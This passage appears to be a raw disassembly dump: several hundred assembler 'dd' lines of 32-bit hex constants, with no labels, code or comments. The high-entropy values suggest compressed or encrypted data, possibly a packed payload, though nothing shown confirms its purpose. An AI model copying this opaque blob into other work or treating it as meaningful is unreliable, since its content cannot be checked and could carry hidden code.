		dd 2E44B95Ah, 47EF185Fh, 59D8E9AAh, 28062222h, 0DB6224DEh
		dd 0B1A05766h, 9659FB05h, 9E2D0703h, 0AD364571h, 0B98088EEh
		dd 0DA9033BAh, 996FC97h, 30DD4481h, 82AEB33Ch, 0E0F28360h
		dd 40E17407h, 79E3D509h, 0EB89124Fh, 5F798F6Dh,	41B2992Ch
		dd 6022F5CEh, 28737204h, 644A39F8h, 7F2F89EBh, 5A27F9F8h
		dd 0D6384F0h, 5B0E4341h, 1E14A80Ah, 0F79F5A09h,	0D977D9EAh
		dd 0FEF89B16h, 0C8126AA2h, 9F9DA223h, 0D7837016h, 0F509D768h
		dd 5FE9FF38h, 678CA05Eh, 0B96A40F5h, 2648F909h,	0B4D78029h
		dd 95D839E0h, 0DBC853DEh, 0DF565B09h, 0E90BC9DBh, 9DFCD049h
		dd 0EA937379h, 0D3C793BBh, 179C462Ch, 5CFEF70Bh, 0CC1CE202h
		dd 5C140009h, 0B754993Fh, 0EEA04ED8h, 5A04B17Bh, 34E2E96Dh
		dd 68C2AFEDh, 71591465h, 1C442B8Eh, 0D07C792Fh,	0FE64EFE9h
		dd 0EBB5998h, 0BCB360BBh, 0FC2BC9E0h, 1E7725A5h, 78E9134Eh
		dd 0B954D085h, 5F9FDED7h, 0BF575EB0h, 5AC50F86h, 1E50B3Ch
		dd 9FC84FDh, 96D75F08h,	0F9892D6Dh, 0C101E1CCh,	6B744A65h
		dd 0CE360168h, 3E7CBD02h, 0B7527BA0h, 3814D320h, 0EA00BEB5h
		dd 5AD08859h, 0C776B050h, 0C33772E5h, 20A0EF80h, 8E261006h
		dd 16084D28h, 2B890E2Ch, 4C7D3489h, 0E090AE14h,	4968809Ch
		dd 0B58C2A4Ah, 11271D5h, 92EE812Dh, 6EB60EA2h, 0FD054400h
		dd 0FE0CF76Fh, 0E0560751h, 0CAD82938h, 11543E07h, 3701E43h
		dd 9DDA777h, 0B1C57DEBh, 61E12517h, 25BFDCCh, 6866C5FEh
		dd 0EE5A4E12h, 3FE8883Dh, 0E3F45B50h, 5A5D800Eh, 600B68B0h
		dd 847EB231h, 0F8AF8463h
		dd 253FF612h, 0F6C8ADDBh, 1F1F81B9h, 32093865h,	0C1269B11h
		dd 2880C3FFh, 4D133BBEh, 0F604817Bh, 0C0312AE7h, 0A8E915EEh
		dd 5C006F48h, 0C1741669h, 0F99D06E8h, 250501F4h, 740448ABh
		dd 0A95BE98Ch, 0EBB59AE2h, 4AD453C2h, 0B57C7778h, 0BD347769h
		dd 0B901139Eh, 5F4A5E5Bh, 832BAE30h, 7C62DCD9h,	1E64DC32h
		dd 0BEA4E16h, 0F1F6C742h, 6885192Bh, 9F301D0Bh,	9271E952h
		dd 0C6800759h, 0A3682C23h, 140E065Eh, 0F204EDB3h, 411AE5A0h
		dd 2F0B6186h, 6EECB6B5h, 0FA16D35Bh, 15BA5141h,	0E2EE33C0h
		dd 0E9070134h, 203AFACBh, 7AB6892h, 0E1FFF39Fh,	0A7FC03E9h
		dd 87ADC36h, 25009E0Eh,	17F4540Bh, 60D072F7h, 526140D8h
		dd 94F6B04h, 2DB0CCECh,	0CE42CDCh, 0FF0F8CC9h, 0A0D14D98h
		dd 0F20D80h, 35118468h,	6AA23619h, 0F4802F98h, 24C7A5CAh
		dd 0B074F909h, 12FAEAD4h, 5FBD8218h, 0F75091D6h, 0CF872DD1h
		dd 271ACA54h, 47A2DD29h, 220DD641h, 82742C30h, 170B6D4h
		dd 805B1C7h, 68018EE2h,	0F1C4A682h, 0C642B86Fh,	4F201FDAh
		dd 1052B656h, 0CD41B5A6h, 55F4B87Bh, 1FC16E7Ah,	756EA0C1h
		dd 0C529E2D0h, 35913CD2h, 0B800F3D6h, 374F0476h, 6A229C02h
		dd 1FF161E3h, 0AA3A9E25h, 9FC60538h, 0C3725DEh,	0E1CD08E2h
		dd 0F26FFE5Dh, 850BD2F1h, 14E7EFDh, 302309F5h, 0B4DD7010h
		dd 0C9D1816h, 9469C7EBh, 776609C5h, 0BFA5A9AEh,	0ECC2EEE1h
		dd 963E460h, 2ED11540h,	367A2409h, 9984E24Eh, 6BCFAFh
		dd 850FDB0Bh, 9EFEF560h, 0F686B067h, 174EF97Bh,	0E2054DBDh
		dd 80F067DDh, 9D2FC235h, 0EFE4DF4Eh, 0DAE85E83h, 20D9458Fh
		dd 0F240E11Ah, 44D40BBBh, 5C856250h, 0EEB1C8C8h, 16D27E9Fh
		dd 0E497B95Bh, 13F28283h, 0EECB87B2h, 66E6E680h, 2F107F58h
		dd 0E3D4315Ah, 0BAA8776Fh, 683BE28Ch, 0EA975C71h, 5C47D826h
		dd 9D3CED01h, 32BF2267h, 9A40A44Ch, 828261BAh, 6C5696E5h
		dd 7E6813E6h, 2267BE39h, 9DFEC2B4h, 0D882014Dh,	82FA045Ch
		dd 8F455A83h, 0FCDA288Bh, 69067099h, 0DCC755C2h, 9DC749Eh
		dd 0ED71BA2Dh, 1EEAC58Fh, 5B4A366Dh, 71C1FD91h,	48DF5A0Bh
		dd 35E81C31h, 0BF8D5E57h, 0E913DBE3h, 0BEFCC015h, 8BC519ABh
		dd 34FF09D7h, 6D9CBE3Fh, 392D4A7Fh, 16BE2A8Ah, 3D8BFEBDh
		dd 0DD625E3Fh, 0F97AD3EDh, 2D6D5738h, 8214DC02h, 0B1E959C8h
		dd 0BA05E158h, 47F43681h, 0B6112EBh, 181A25D3h,	9D95FADDh
		dd 0F849CAF1h, 3C609E4h, 0F0D67931h, 0A5270582h, 4759DD9Bh
		dd 79B92165h, 0BD77C194h, 0D2F82AC1h, 8A41D058h, 5BAF7F30h
		dd 0F871FA01h, 0B42E5BDEh, 7C4A1803h, 7EF88BFEh, 3213CC5Eh
		dd 0A85B58B8h, 8EFBB1CBh, 0AA9F4022h, 6A6030DEh, 4180EF1Dh
		dd 8530D02Ch, 22EE968Fh, 0F75FFE29h, 0D60B18C2h, 68D048DEh
		dd 31584B6Ah, 59069C2h,	126FE1B0h, 0AFEACC47h, 616A8404h
		dd 0E3C5E8B8h, 0BA8225EBh, 5BD8D9E4h, 0EF91D45Bh, 144AAE81h
		dd 40D13B60h, 0B509B916h, 801BF47Fh, 0D3511D55h, 1E92673h
		dd 89FEA777h, 0D6915809h, 0E20544F4h, 0D474B03h, 93EDE7E9h
		dd 0C388C32Bh, 8BDF56D2h, 48D0E4FAh, 0E07D1408h, 2D6495C9h
		dd 0ADC574B7h, 5200D465h, 5F2A6853h, 0E40E4865h, 0CB0C30Bh
		dd 29FCC155h, 5867F73Eh, 0BF6D204Ah, 64520F7Ch,	4D283587h
		dd 9412BAD5h, 5B4F82FAh, 0C07EF45Fh, 8CA8E950h,	7B958A3h
		dd 550FA563h, 22D7C8C2h, 4579F100h, 36953D16h, 9E40E549h
		dd 3C023D07h, 0D89A3A7h, 263E07DDh, 0AA4475A9h,	0DB36D4Bh
		dd 0AED08812h, 22A88E5h, 0E34ED9D4h, 209E27Dh, 906BAEAh
		dd 83016E87h, 8D2F2842h, 0D7EC72EAh, 78F8AD0Ch,	89DB65BFh
		dd 0DD443E52h, 88395178h, 94E05FC2h, 0D125402Bh, 41DE34Ch
		dd 60AB0194h, 0F650F8ECh, 1D771078h, 0C2B44B7Ah, 5A1212CFh
		dd 0A8EDA091h, 86D2F7CBh, 28A5136Fh, 5EB9B8EBh,	0C347B069h
		dd 43E908A0h, 0F1277060h, 126E8DBAh, 0AACB01B3h, 0F8D210B6h
		dd 7766C92Dh, 0EFE212EBh, 0ED803870h, 3B9A3374h, 566ADF65h
		dd 0E581C330h, 78361347h, 0E15CAA3Dh, 0B531D4C2h, 0C008050Bh
		dd 1C6F4A3Ah, 70AC3FF7h, 27D1BC5Eh, 0FE428149h,	7B20F6CDh
		dd 0D32348FDh, 88090881h, 360DEC71h, 0D05D2792h, 6113D6D9h
		dd 0FD6CF342h, 0A53F87Eh, 72190C76h, 0E9283CFDh, 25049F08h
		dd 0E5A3EE59h, 1B2B9FCBh, 9246EC0Bh, 1A602AFAh,	28E5B86Ah
		dd 0EC095F9Eh, 9458990h, 0B9CFE3Dh, 0C296575Ch,	31F46812h
		dd 0E982A1F6h, 0A27584A4h, 90A11FB7h, 3D2CE0FAh, 0BF987ECDh
		dd 18E317A8h, 7606890h,	0FC4F4D22h, 680CC155h, 2FA545DEh
		dd 0D72145C1h, 76FCCB3Fh, 37F34A4Ah, 1BD1C99h, 0F8412958h
		dd 80009907h, 0DABFC8C3h, 8B2FEBA7h, 0E2662564h, 0F27C77E2h
		dd 4EEE5C58h, 8BC9F3FEh, 94E2948Fh, 6CB0028Bh, 0E77F0185h
		dd 397925C6h, 0EA9215A0h, 0B5CF3D9Eh, 0A50502A8h, 404EDD12h
		dd 0BD1D833Fh, 5CE52DE5h, 2AD600EEh, 0DD01794Bh, 4FC51197h
		dd 7A9FF12Ah, 0AED6D4A2h, 0E85B5DDAh, 49E9CF96h, 98F46440h
		dd 45A64BC9h, 0F9934895h, 1D6C09A8h, 29888222h,	0A2C809AFh
		dd 80800B25h, 250E73CFh, 7460F3F7h, 0EAF6FA28h,	0F0955BEAh
		dd 0F1E14980h, 3527A04Fh, 0DDF2B35Ah, 0A4020BB5h, 0F252BC05h
		dd 48EF48ABh, 7E8C0B47h, 5A25048h, 0BB333880h, 0CA33C429h
		dd 0D9F7162Eh, 971A701h, 0AB2F394Dh, 0A97E7822h, 1B0101A7h
		dd 40E6E40Bh, 30528579h, 0B70C6FC2h, 4C40826Ch,	7CA4F415h
		dd 0D3CB0446h, 0C07BF653h, 0BFC3B9BCh, 2EFF2B4Dh, 35E09901h
		dd 4ED417EFh, 4E85E946h, 3B29C7BAh, 25DD675Fh, 8EC205D6h
		dd 9414D7E0h, 5D4A6812h, 0E9C92CFBh, 27C59159h,	4D3AF75Ch
		dd 42C481DDh, 5080070Dh, 3808442Fh, 550FCA01h, 76F5BDh
		dd 0E9E5D106h, 91245B79h, 898348EBh, 89EB300Ch,	0D74642D6h
		dd 0D0BE483h, 0D6C4734Fh, 2C0386EDh, 89319917h,	9D90A2CCh
		dd 4361E781h, 0CBE53FCh, 42742E00h, 62DDB850h, 353ABB00h
		dd 3D557343h, 36F60005h, 0F50D28C0h, 6309F917h,	0F66771E9h
		dd 1CB280E8h, 0DF686CA2h, 30C003B6h, 9001197Ch,	9F50F4AEh
		dd 32465E82h, 7151580Bh, 0D48FA04Ah, 37AF0F57h,	558CE942h
		dd 0ED07C05Eh, 0FBCD8006h, 0DFB0BCB5h, 5B662458h, 0F231278h
		dd 1AD2CC80h, 1BC13215h, 70520746h, 52CDA262h, 3E3A44CAh
		dd 0DCA7A3F5h, 4629027Dh, 0E0665F9Dh, 55665AB6h, 0B8EAFC17h
		dd 503F557h, 4EFF4B9Fh,	63920BB9h, 9F8B7CD0h, 408CD565h
		dd 4AA2A571h, 0C689CC75h, 51056600h, 4002E181h,	495525F4h
		dd 0D4272A74h, 0FB5444E9h, 829CD764h, 0CF444B8Bh, 41C04E75h
		dd 0B868E034h, 6214B484h, 0B2D7EE37h, 822009B1h, 75269655h
		dd 0AC2C5D5Bh, 580C9A10h, 0F544D301h, 1EEFBB80h, 8B2CCB0Dh
		dd 0DDC4356h, 69192188h, 142F6C7Ch, 8070E410h, 0EF068147h
		dd 22A721B4h, 142A0B0Ch, 0F2D06DDFh, 76D10925h,	0B09E310Dh
		dd 9EE36A7Bh, 8F055958h, 0FE299954h, 1285F043h,	8812C5ACh
		dd 29AFEE85h, 0D2B22AE9h, 0EAF2E9C1h, 29C68BFEh, 0EFF6F8EEh
		dd 0BF8D12B4h, 0F221B681h, 1331AE3Ah, 0F034A2E9h, 0F3682F5Ch
		dd 0AF2C12A5h, 605E02CEh, 93685DF4h, 5CCC514Bh,	42131006h
		dd 602284Dh, 8E1ED05h, 5A83374Eh, 52F0E5E9h, 27F30180h
		dd 0F6F9B551h, 9181E2D5h, 3B57ACE9h, 17AF599h, 0BB5E4378h
		dd 13FC3E7Dh, 0FB6CD29Dh
		dd 648A15A6h, 0BD25AA8Eh, 0DF926745h, 0AB4956ABh, 7E0BB301h
		dd 14F4165Bh, 0B8AFB59Eh, 45A82062h, 0D51CAE01h, 7C180D82h
		dd 0F1551A12h, 13F180A6h, 9837BECh, 16F6CD5Ch, 0E8A9BF68h
		dd 373FAF13h, 895A87E6h, 276F6D7Ch, 0DF0B0784h,	7D5B504Ch
		dd 368ED01h, 0D2DF2C43h, 40E866DAh, 149B514h, 90E58A9Eh
		dd 922D588Bh, 1F40753Dh, 5582FBB7h, 0C54878F0h,	4FFD3D1Dh
		dd 305DCDBAh, 2918E8A6h, 570C431Ch, 185B0907h, 8AE0FFE9h
		dd 0BC4BB353h, 0E31C18FCh, 6CCCFA47h, 0B93F5A51h, 0D5FFD384h
		dd 8E2941DAh, 601E2F46h, 7A2EA63h, 3AD3FEC1h, 86A147BCh
		dd 0F7936422h, 707CF4A4h, 44A95682h, 0E3B4FA29h, 127FBCDDh
		dd 2DC7EBBFh, 845FF9F2h, 1FAC0629h, 84D9E75Bh, 0B2FFEF27h
		dd 62A8D6EAh, 0D4A3BC4Eh, 10FE5F81h, 0FE5F9A98h, 5F45A420h
		dd 247E6F7Ch, 3B2938D9h, 80305A5h, 3097DDE9h, 8D5EF1E3h
		dd 0C8E9C387h, 0AC17C400h, 95F520F3h, 3186BA04h, 0A1AB48E7h
		dd 3002FC4Dh, 0B6CD5EBDh, 0E07AA0Ah, 0E9BE8B6Eh, 0C4A4FA1Ah
		dd 77D16409h, 2495ADBh,	0DD656A1Bh, 0D37F7D3Ah,	0DBE904D9h
		dd 609F88DAh, 78B33A10h, 552C5838h, 71C902EBh, 85806F6Dh
		dd 0DE231FC1h, 0E413B30h, 52A25D69h, 5C137B44h,	0E9174766h
		dd 1FE994Ch, 7830F273h,	87461EC9h, 931A09F2h, 5DCB47DCh
		dd 14D5EC8Bh, 18732D93h, 7909EE73h, 20F7E61Bh, 59273F5Dh
		dd 0DF87A930h, 1ED56A0Bh, 93EB941Eh, 0C5F3AF27h, 806ADB05h
		dd 0F70C8063h, 6860B504h, 21E4EB0Ch, 9BE2B596h,	41D2D509h
		dd 5912EC9Ch, 5897A7B4h, 94B0F186h, 355B1448h, 0CE81BF80h
		dd 66030230h, 2488E93Ch, 3756C555h, 0D0C6F509h,	0F6ECB2D5h
		dd 2507DA48h, 12FF7B28h, 17B61A54h, 4BCB1A57h, 7A66F255h
		dd 7AC20602h, 0C47EC56Bh, 3025077Ch, 82C5EEAh, 0C10AC80Ah
		dd 8908BCEBh, 0C85D1526h, 895FA75Ah, 11D6905Ch,	558C244Ch
		dd 659617F1h, 0C13C9C11h, 58C94564h, 3E0874C6h,	0F993CDFEh
		dd 0E8174B08h, 12F4A509h, 86FEC197h, 0DEBF0C13h, 0EB82271Fh
		dd 500306D4h, 0CC80B8B4h, 0BABBF61Dh, 0D7881CE0h, 192BEF6h
		dd 0DD277126h, 9F938B53h, 16D7EED3h, 0EB206B68h, 0F6AA1E71h
		dd 0D50F8104h, 2070F171h, 0FB0433AAh, 0CB292B52h, 0E99F3CBAh
		dd 7BD86E2Eh, 0F6102B84h, 27352AFCh, 6E12BE0Dh,	0A01A3DFEh
		dd 5E16E597h, 38097A12h, 50882BFFh, 0DBEF9D0Ah,	7984BD9Eh
		dd 7EE30B5h, 2DCF7FE9h,	3F0035FEh, 6F679181h, 65546602h
		dd 0CE6DC51Eh, 0A2BA95C4h, 0DA49B254h, 685F0B11h, 64DB218Ch
		dd 2B5A918Bh, 20281180h, 55108D7Dh, 0F6395AE6h,	0F656FF2Eh
		dd 7B8BBF56h, 20F4A34Fh, 477E97D5h, 75F4BB41h, 82206FC1h
		dd 5A9C90EFh, 6076E868h, 3825AE3Ch, 85F79553h, 31890D80h
		dd 2D1BF23Bh, 20295F6Ah, 580D417Fh, 134CFD6Bh, 0C6E9484Dh
		dd 1480F925h, 0E3338CBAh, 5D521719h, 0BE00B9C8h, 542529EEh
		dd 789AC27Eh, 0F6E9188Eh, 5FFB7921h, 0E3D55A4Ah, 8FF07684h
		dd 6A0507ADh, 0B30CFE20h, 940A3C28h, 0B9324068h, 0D62BBA67h
		dd 0C2DD4927h, 0C1E90B35h, 0B3202152h, 6F0F4185h, 91140CF2h
		dd 0AA4AC4E5h, 0C4BEF212h, 0FACEA20h, 0A23C23C4h, 61F7EBEh
		dd 52F54FE7h, 0B9494AF8h, 90F2AF93h, 0F855DA16h, 8BBFA530h
		dd 54681EF5h, 22889E64h, 91CC301Bh, 394FB30Bh, 5C4AFEF0h
		dd 5E398081h, 0B80050C0h, 8021B6Ch, 1668E05h, 0A60D2510h
		dd 0BF715327h, 1101788Ch, 400AB10Eh, 0BEB94E9h,	3D7368F4h
		dd 7D25CB4Dh, 299A1B14h, 0E6A0394Ah, 6B959159h,	0EEAB42DEh
		dd 2C595749h, 0F9EF5144h, 1229A269h, 0C3743582h, 0C8E28001h
		dd 49E4B2E3h, 7B7BC5A5h, 525006D9h, 4162EA89h, 0BEB03E37h
		dd 80C1BD08h, 0F9C8A597h, 59C002AFh, 6AF5E0F7h,	9895D82h
		dd 0F448CB71h, 3D7A8652h, 1747EC2Dh, 2501AAE4h,	0D5B0FB37h
		dd 28755791h, 4E49065Fh, 4D5B102Fh, 0C8BE46C5h,	5226B540h
		dd 0A083EA2h, 0AFFD252Dh, 23F8E193h, 0E07F223Bh, 3D12A7DFh
		dd 0E5E1585Ch, 0D2CEE8CEh, 9294C1Eh, 0A2A2EF17h, 0B538199Ah
		dd 5E29D90Fh, 145A642Fh, 0F40A0420h, 3D439EBAh,	0E90C9013h
		dd 3C029278h, 827C4943h, 7503EAE9h, 8EE94181h, 0F44B83EBh
		dd 0D27B3550h, 2D4E7ECAh, 31BD7A1Eh, 0B23E5B58h, 53CCC443h
		dd 0BBF50104h, 0E27A372Dh, 0F168C25Bh, 0E02D6C46h, 3B262D3Eh
		dd 704E2455h, 5559DFD1h, 1F2D5520h, 5725B22Ah, 0C10BB441h
		dd 0E3950198h, 0A9125A8Bh, 0C2BD805Dh, 507C0E10h, 1641C745h
		dd 183F1EFh, 5716A192h,	1DBC6073h, 6FDD2A12h, 8C150BBh
		dd 2F141C68h, 0E98BAC45h, 0AF51DCA8h, 0DDA5FD7Ch, 2E70EE0Dh
		dd 0E939FAE8h, 0AC48B4AFh, 62480C48h, 6FC845FBh, 6D035AB8h
		dd 0C082EE80h, 1BD8099Dh, 0FC667A61h, 883BCFB2h, 205A12D3h
		dd 855EC3ABh, 0D0010601h, 0E9B551ECh, 22C3ACFh,	5E94F398h
		dd 693EDC05h, 2D28E543h, 0E65A0709h, 83E90937h,	0F17DFEFDh
		dd 0E2B0C2A6h, 89F5006Ah, 0BDF160B1h, 551C1265h, 40C5BC30h
		dd 0EA09F5B3h, 0D08067DBh, 2DC793A5h, 483BB880h, 0E92F1C92h
		dd 0BB8F007Fh, 39DFC468h, 5BA4313Eh, 0B8351671h, 0CF2AD873h
		dd 0DFA09756h, 0E30DD9C2h, 0AD5D57B0h, 0CBEA4A01h, 5E2C3D78h
		dd 0E03FBE6Dh, 0B5A9E782h, 30EC935Ah, 398033FBh, 847EECC4h
		dd 0B8BB5B08h, 0BD551620h, 0EBA924FBh, 32754h, 0DC9F06F4h
		dd 55DEF89h, 0A45BC82Dh, 9183BA60h, 0BF7D3BB7h,	2A751380h
		dd 491CCF81h, 0C10D4609h, 0E73580EFh, 5AD47FF0h, 0C7059045h
		dd 0C42C5804h, 2D93E5FDh, 80E52FEh, 0BB224078h,	0DB0C3390h
		dd 5031CD1Fh, 4F470003h, 0B46BF781h, 919C510Eh,	0D4F1A639h
		dd 37179001h, 0B3695E57h, 464F984h, 0BDFCFD31h,	5BE245D2h
		dd 5E9C09E3h, 708C9D40h, 90FB2980h, 9476B5A4h, 7A5D5F0Bh
		dd 0BBA720F5h, 1734AC58h, 33914CD1h, 5E02D775h,	18E14057h
		dd 85A31h, 7B942D96h, 29144DEAh, 7C0705F0h, 0D0D714A3h
		dd 0E94E5350h, 89327933h, 773BB9CEh, 0C3098525h, 0F877292Eh
		dd 3A137B6Fh, 0B5AD2D72h, 48581775h, 0EA1B05BCh, 54758C4Bh
		dd 0BEE95909h, 57987DDBh, 4897441h, 0BDDCE02h, 945F5E3h
		dd 0C9196C42h, 6E2DD925h, 0E8F68F84h, 8FEAD242h, 6118608Fh
		dd 951AFE4Dh, 0F43DAC04h, 5C70EFC4h, 0C127C34h,	0A5CBE1AAh
		dd 0D70A570Ch, 0CE250B7Dh, 8A07187Dh, 5C40C036h, 4404F028h
		dd 0B3535103h, 0D249B1AEh, 30D541D9h, 23076C79h, 0B554925Dh
		dd 0B549EAE4h, 0FA71541Ch, 0D2D5A029h, 2C5F258Fh, 7E13B97Bh
		dd 9DE98ECh, 0E1E40D93h, 0A8B84C9Fh, 9585DCDh, 3F685156h
		dd 0EB32AE84h, 0B2E28D6h, 54FD60B2h, 0FF252EDEh, 64951480h
		dd 0B1BB0A9Ah, 0D204CACh, 0ED58E912h, 4EEA30B0h, 4A8EA890h
		dd 0E9D061EFh, 82F73146h, 0AF638427h, 8F01DD10h, 863E0CFAh
		dd 7A0FE932h, 9096A1E9h, 61914CAFh, 2F29F102h, 0BAF0B8A1h
		dd 0CD5AC412h, 0CF090640h, 6EF3DD2h, 0FE10459Ah, 0F8F1A105h
		dd 0FEEC16C1h, 0DF2DEC72h, 0E2E97AC8h, 0CFE7A34Fh, 522CEF5Ah
		dd 8FF42DE9h, 2FCD9C75h, 75C90823h, 0B9E16A57h,	0E5ACF93Eh
		dd 9447FC04h, 0CBFE4F0Bh, 2CA0208h, 73AE6866h, 0B2361355h
		dd 0F25709DFh, 0D2D377D3h, 4C7B0D91h, 58E56A0Dh, 0C2D8E87Bh
		dd 5D88E0F5h, 0B405A27Eh, 659563E9h, 0D563A6BAh, 0CAEE4A4Ah
		dd 2AAA4AD9h, 0A3CB5C89h
		dd 0DAF6105Ch, 48915099h, 7AD7255Bh, 0DFBC6FD5h, 0CD98C32Ch
		dd 0DE2E890Dh, 4DB5DA32h, 680BBB39h, 0C3D915D0h, 0C030188Fh
		dd 7A0D256Ah, 40280B0Bh, 0E5A4AE9h, 9EBEE5Ah, 1DA156ECh
		dd 6A33BF6Fh, 84EFEB25h, 5E0C0967h, 3204FAB3h, 37A619Bh
		dd 0B46D1C0h, 445A33h, 0BE2360E9h, 42C1491Dh, 18727412h
		dd 8EFFD27Bh, 40180AFCh, 2E4AE23Ah, 32DE44F7h, 0C450221Eh
		dd 27A3CCBFh, 31FFD1BEh, 0B72B54A1h, 98BE4BE6h,	3440F2B5h
		dd 0B4500766h, 0B2E52814h, 0B200C578h, 7CF280AFh, 6145BD86h
		dd 0B90983A4h, 0CD1127E0h, 27650767h, 39CEA87h,	0AE8D2DE9h
		dd 34A36DAh, 0F87FA38Dh, 32295030h, 407F6505h, 0EBFCB29h
		dd 6667E4E2h, 0A6F3F07Eh, 5160D838h, 0A975F80Ch, 0B8019D63h
		dd 202B3F5Ah, 5E8147BCh, 10D11E30h, 2E60CE20h, 0A01D925Ah
		dd 2E20EDA0h, 8FF65FFBh, 1CE64ABBh, 25F26808h, 0B3D0E904h
		dd 3EF22C95h, 439ECB9Fh, 68D64B23h, 372C7E8Bh, 86B12C54h
		dd 5003CD8Ah, 2BD02EE1h, 8C9F6CF3h, 0F21D42DFh,	4F20B20Fh
		dd 0C0686643h, 0DB2D0516h, 0AB2B7026h, 4807BA10h, 0DEFA1766h
		dd 0C06F45A5h, 84F94A2h, 4A57858h, 0C9B9FA6Bh, 28F2B6C0h
		dd 0AC92A364h, 801C884h, 0FF9E1FE9h, 673CAE3Ah,	0B8F325E9h
		dd 81687676h, 1D627D25h, 0D5498679h, 0F600D2F8h, 4BAE187Ch
		dd 0C010A5E9h, 3B8EBD42h, 0A9F5924h, 0D3D1EB9h,	0B209F2BCh
		dd 6B67E86Ah, 7942570Ch, 3F3D5AC1h, 0BA9290BCh,	369AEF94h
		dd 0AA65E9C3h, 0E3804E0Ch, 0ECF806B9h, 0F68A19C3h, 2F6B0ADBh
		dd 4FD07AF0h, 0C2BAE4E2h, 0E985D4FBh, 84B0DD4Bh, 0A936A55Eh
		dd 273E689Dh, 0D6049A9Ah, 1F3A068h, 4F03D648h, 0D405E10Bh
		dd 1CD7A5C9h, 13A9191h,	3A5A7668h, 59742171h, 0F754DA50h
		dd 0CAA4E9C1h, 5080C278h, 6C32C7B8h, 3A9334Bh, 1687BCD6h
		dd 39FBE691h, 0DDA6F86Ch, 6290A2B5h, 82D50B4Ah,	1994C1h
		dd 0C0FBB252h, 5105E201h, 0C180B5B1h, 737BA47h,	0D8E9CA00h
		dd 92459DF3h, 7F020624h, 744492Eh, 0BE93D5BDh, 0E825E604h
		dd 4F670C18h, 98802996h, 68204CB0h, 31694F11h, 226F55h
		dd 2506F12Dh, 0CA464F14h, 0C3C0C999h, 122730D4h, 4ED7E946h
		dd 0EAD287F2h, 2A2E13A4h, 1A24075h, 5B67A36h, 34A666E9h
		dd 1245677Ch, 0BB0E6ABEh, 5C9830C5h, 20F32156h,	0D7413FEFh
		dd 69B3B22Fh, 80D302B2h, 9DE109ACh, 8989E656h, 0A2ADDC25h
		dd 0B9CB9E2Eh, 6D670220h, 91517712h, 88FC2113h,	0EF2F0F87h
		dd 0E58FAEF6h, 64DD5C27h, 0DB4516A8h, 0DFAEC1FEh, 6BB64967h
		dd 825EBBD2h, 7B543FFh,	0EEE96E89h, 0B68DA77h, 52D761F7h
		dd 0EF1E4077h, 0CA17160Dh, 0B086FF74h, 0F8FCF908h, 0B22D0B6Ah
		dd 502B0DE9h, 9AA8CED9h, 50A8064Eh, 0B2202448h,	0D7525A69h
		dd 0E982C42Bh, 47D6AF2Fh, 6C581440h, 3C289030h,	0F04B5C22h
		dd 0F2160F1Fh, 0C0AF0A76h, 0B357C6A1h, 0D0B98E28h, 6E39D913h
		dd 9E66FC0h, 1381A31h, 80D3AF3h, 5E14020Ch, 98C3C6DFh
		dd 5D06401Ah, 0B09494B7h, 0EE899DD8h, 0BEA03655h, 551E889Ah
		dd 0A4ACBF0Eh, 0C1AF46B5h, 0D8F51284h, 94B8F389h, 2BF8075Ah
		dd 7941A1CBh, 26B6F852h, 0D90A8593h, 0F787E21Fh, 38C453C4h
		dd 56FA1084h, 605FB156h, 735AE0B8h, 597960E3h, 51090036h
		dd 0EE075366h, 0D24FB2D8h, 0E8FD90CAh, 3E7E7AF0h, 0DE3676h
		dd 75371954h, 9535E972h, 3982FBD3h, 8123EAEEh, 5762E18Ah
		dd 0C31E0ABEh, 0EA2D87F3h, 2A1C7230h, 0FDA635FBh, 2D03B010h
		dd 6A3F2879h, 3C4916D2h, 0F2412866h, 0A9C7C157h, 89B7E83Eh
		dd 0CFE1E831h, 0D47D82D9h, 8B9F7B62h, 212745CCh, 95447A57h
		dd 68C107D9h, 0B78855D1h, 8000B510h, 0E6C015EEh, 4FC6EC07h
		dd 8E20A14Ah, 0B9CA0406h, 0C441F6BEh, 0A9042235h, 0F9C60167h
		dd 910ADFDh, 267D0278h,	405C8C05h, 6AB53FBEh, 82AA5295h
		dd 0E98A2208h, 3DCED615h, 216A548h, 0C4B7ACEAh,	3107235Ch
		dd 1422F2CEh, 0F8F7EB69h, 0EC0387Bh, 99604EB9h,	0E070954Bh
		dd 0DB2F487Eh, 0B690C63Ah, 8558C5C6h, 17B1DFh, 11D3EEF2h
		dd 895875EBh, 8E58C612h, 7D492925h, 9C492873h, 0BDBDC0E6h
		dd 83D7D7Ah, 53BF5702h,	4348D416h, 0CB4FD074h, 0D548B710h
		dd 42EB228Eh, 7770EFEEh, 1D97031Ch, 0CF41F7E5h,	6238E0BAh
		dd 6A85454Ah, 218F1FBh,	79555F0Bh, 5209430Eh, 9C8D019Bh
		dd 0BD4E68A5h, 0E90C2FB3h, 0C5E74029h, 0C3A71E09h, 162EC64Eh
		dd 0F5E4E95Ah, 7FE3B54h, 2501087h, 0D47D89ABh, 717DC9FBh
		dd 1F40ABD6h, 0B3799268h, 0A210548h, 0BDC427DBh, 2B7559C1h
		dd 60A7A27Ch, 0DBCCC1F1h, 748B9D5Eh, 0CAE90E06h, 0BE3F3A54h
		dd 477316F2h, 76229706h, 0B0C102DDh, 1FAD0CAh, 2BA92741h
		dd 0E8EF9CC4h, 0D853A7BFh, 0E727FDFEh, 0D4902794h, 0F0EAD15Ah
		dd 0CC945E64h, 540307Ah, 6C6B02BBh, 0D3F75B21h,	742A16E0h
		dd 0E9272572h, 0B4056026h, 0E5200985h, 0B2D85866h, 4A896813h
		dd 1A1836FAh, 7AF4E22Dh, 504D02ACh, 3EE917B4h, 50A11578h
		dd 24672C83h, 0DF5A015Ah, 47BFF1EEh, 9A2132h, 3CBD1D9Fh
		dd 7A98F229h, 0D6DF7C69h, 0AEC21370h, 0B005EE21h, 2922B36Bh
		dd 8F24D238h, 500B4101h, 4F70D101h, 1B6E9D6Ch, 7BF4F6B5h
		dd 5153A116h, 0C8C89B09h, 2C113581h, 29A6157h, 76297187h
		dd 78A721D6h, 410B839Dh, 3AA5170Ch, 14B1C25Fh, 0BC28207Dh
		dd 0DA70FEB0h, 5CDFD7E7h, 0FDEB7610h, 7B246246h, 21A881A1h
		dd 0DCF87E1Ch, 8460E913h, 4ADAACEBh, 46B7599h, 17DE1A9Bh
		dd 0B0F306EBh, 0C53573FAh, 321D06C4h, 0A106F3B1h, 0C862E93Eh
		dd 0E430C402h, 1F20E981h, 0DBF72F1Bh, 15882B48h, 0C033532Dh
		dd 17092D77h, 0F89227F2h, 0E0892645h, 1324F608h, 1563EB5Ch
